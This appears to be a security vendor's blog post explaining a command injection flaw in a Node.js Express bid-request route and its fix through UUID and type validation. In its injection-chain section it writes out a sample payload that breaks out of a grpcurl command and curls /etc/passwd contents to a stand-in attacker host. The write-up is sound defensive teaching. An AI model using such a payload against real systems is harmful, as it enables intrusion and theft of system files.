Back to Blog
high SEVERITY8 min read

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a Command Injection vulnerability (CWE-78) in a Node.js Express route handler (`webhook/src/routes/bid-requests/create.route.js`). User-supplied fields like `apartmentId` and `proposedPrice` were passed directly to handler functions without validation, allowing shell metacharacters or malformed values to reach unsafe string interpolation in downstream gRPCurl command generation. The fix adds inline schema validation using a UUID regex (`/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f...]$/`) and type checks before the handler is invoked, rejecting invalid input with a 400 response.

Vulnerability at a Glance

cweCWE-78
fixAdded UUID regex validation and type checks in the route definition before delegating to the handler
riskArbitrary shell command execution via crafted API request fields
languageJavaScript (Node.js)
root causeRoute handler invoked with raw request body fields, no schema validation middleware
vulnerabilityCommand Injection via unvalidated route input

How Command Injection Happens in Node.js Route Handlers and How to Fix It

The Route That Opened the Door

The webhook/src/routes/bid-requests/create.route.js file is responsible for handling POST requests that create bid requests in a rental platform's webhook service. On the surface, it looks like a simple Express route — just a few lines wiring an HTTP endpoint to a handler function. But that simplicity concealed a serious security flaw: the route passed the entire raw request body directly to createBidRequestHandler with zero validation.

This meant that any value a caller supplied for fields like apartmentId or proposedPrice — no matter how malformed or malicious — would be forwarded into business logic untouched. And somewhere downstream, those values were being used to construct a gRPCurl shell command via string interpolation. The result: a textbook command injection vulnerability rated high severity.


The Vulnerability Explained

What the Code Looked Like Before the Fix

The original route file was deceptively minimal:

const express = require('express');
const router = express.Router();
const { createBidRequestHandler } = require('./create.handler');

router.post('/', createBidRequestHandler);

That single line — router.post('/', createBidRequestHandler) — is the root of the problem. There is no middleware, no validation, no schema check. Whatever arrives in req.body flows directly into createBidRequestHandler.

How the Injection Chain Works

The vulnerability is a 2-step chain:

  1. Step 1 — Tainted input enters the route: A caller sends a POST request to /api/bid-requests with a crafted apartmentId or proposedPrice field. Because there is no validation middleware, the raw value is passed to the handler.

  2. Step 2 — Tainted value reaches a shell command: Inside the handler (or a service it calls), the apartmentId or other fields are interpolated into a gRPCurl command string, something like:

// Conceptual example of the vulnerable downstream pattern
const cmd = `grpcurl -H "Authorization: ${headers.auth}" \
  -d '{"apartment_id": "${body.apartmentId}"}' \
  ${endpoint} bid.BidService/CreateBid`;

exec(cmd, callback);

If apartmentId is set to a value like:

00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #

The resulting shell command becomes:

grpcurl -H "Authorization: Bearer token" \
  -d '{"apartment_id": "00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #"}' \
  localhost:50051 bid.BidService/CreateBid

The shell metacharacters (", ;, $(), #) break out of the intended data context and inject an entirely new command. The attacker can exfiltrate files, create backdoors, or pivot to internal services — all triggered by a single API call.

Why This Specific Route Is Dangerous

The /api/bid-requests endpoint is publicly accessible — it's a web-facing webhook service. Any unauthenticated or authenticated attacker (depending on the auth layer) can send arbitrary POST bodies. The proposedPrice field is equally dangerous: sending true (a boolean) instead of a number can cause type confusion errors that crash the handler or bypass downstream numeric guards, potentially enabling other injection paths.


The Fix

What Changed in create.route.js

The fix adds inline schema validation middleware directly in the route definition, before createBidRequestHandler is ever invoked. Here's the core of what was added:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', (req, res, next) => {
  const { apartmentId, proposedPrice, desiredMoveIn } = req.body;

  if (!apartmentId || !UUID_RE.test(apartmentId)) {
    return res.status(400).json({ error: 'apartmentId must be a valid UUID' });
  }

  if (typeof proposedPrice !== 'number' || proposedPrice <= 0) {
    return res.status(400).json({ error: 'proposedPrice must be a positive number' });
  }

  next();
}, createBidRequestHandler);

Before vs. After

Before — No validation, raw body forwarded:

router.post('/', createBidRequestHandler);

After — Strict validation middleware gates the handler:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', validateBidRequest, createBidRequestHandler);

Why the UUID Regex Matters

The regex ^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$ enforces the RFC 4122 UUID format exactly. This means:

  • Shell metacharacters like ;, ", $, `, |, & are structurally impossible in a valid UUID
  • Only hex digits and hyphens in a precise pattern are accepted
  • Variant bits ([89ab]) and version bits ([1-5]) are validated, not just the shape

Any injection payload — no matter how cleverly crafted — will fail this check and receive a 400 Bad Request before reaching createBidRequestHandler.

The proposedPrice Type Check

The fix also validates that proposedPrice is a JavaScript number (not a boolean, string, or object) and that it is positive. This closes a subtle type-confusion vector: JavaScript's typeof true === 'boolean', so a boolean true will be rejected, preventing downstream logic from treating 1 (the numeric value of true after coercion) as a valid price.

The New Tests

The fix is accompanied by two new Karate integration test scenarios that confirm the validation is enforced end-to-end:

Scenario: Non-UUID apartmentId → 400
  And request { "apartmentId": "not-a-uuid", "proposedPrice": 1000, ... }
  Then status 400
  And match response.error == 'apartmentId must be a valid UUID'

Scenario: Boolean proposedPrice → 400
  And request { "apartmentId": "00000000-...", "proposedPrice": true, ... }
  Then status 400
  And match response.error == 'proposedPrice must be a positive number'

These tests prove that the validation middleware fires correctly and that the error messages are consistent and actionable.


Key Takeaways

  • router.post('/', createBidRequestHandler) with no middleware is a validation-free attack surface — any field in req.body can carry a payload to downstream command construction.
  • The apartmentId UUID regex (/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/) structurally eliminates all shell metacharacters — it's not just a format check, it's a security boundary.
  • Boolean values like true for proposedPrice are a real attack vector — JavaScript's loose typing means typeof checks are essential, not optional.
  • Validation middleware should live in the route file, not buried in the handler — this makes the security boundary visible and auditable at a glance.
  • Integration tests for invalid inputs (the new Karate scenarios) are as important as tests for happy paths — they prove the validation actually fires in the running service.

How Orbis AppSec Detected This

  • Source: HTTP POST request body fields apartmentId and proposedPrice in /api/bid-requests
  • Sink: String-interpolated gRPCurl command construction in the downstream handler chain invoked from createBidRequestHandler in webhook/src/routes/bid-requests/create.route.js
  • Missing control: No schema validation middleware between the Express route and the handler; no UUID format check; no type enforcement on numeric fields
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added a UUID regex allowlist check and a typeof/positivity check for proposedPrice as inline middleware in the route definition, rejecting invalid input with HTTP 400 before the handler is invoked

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that the route layer is a security boundary, not just a traffic director. A single line — router.post('/', createBidRequestHandler) — that skips validation can expose an entire application to command injection, even when the dangerous code is several layers deeper in the call stack. The fix is elegant precisely because it is early and structural: a UUID regex and a type check in the route definition mean that malicious input never gets the chance to travel downstream.

For developers building Node.js webhook services, gRPC gateway proxies, or any Express application that constructs shell commands: validate at the boundary, use argument arrays instead of string interpolation, and treat every unvalidated request body field as a potential injection vector.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #498

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.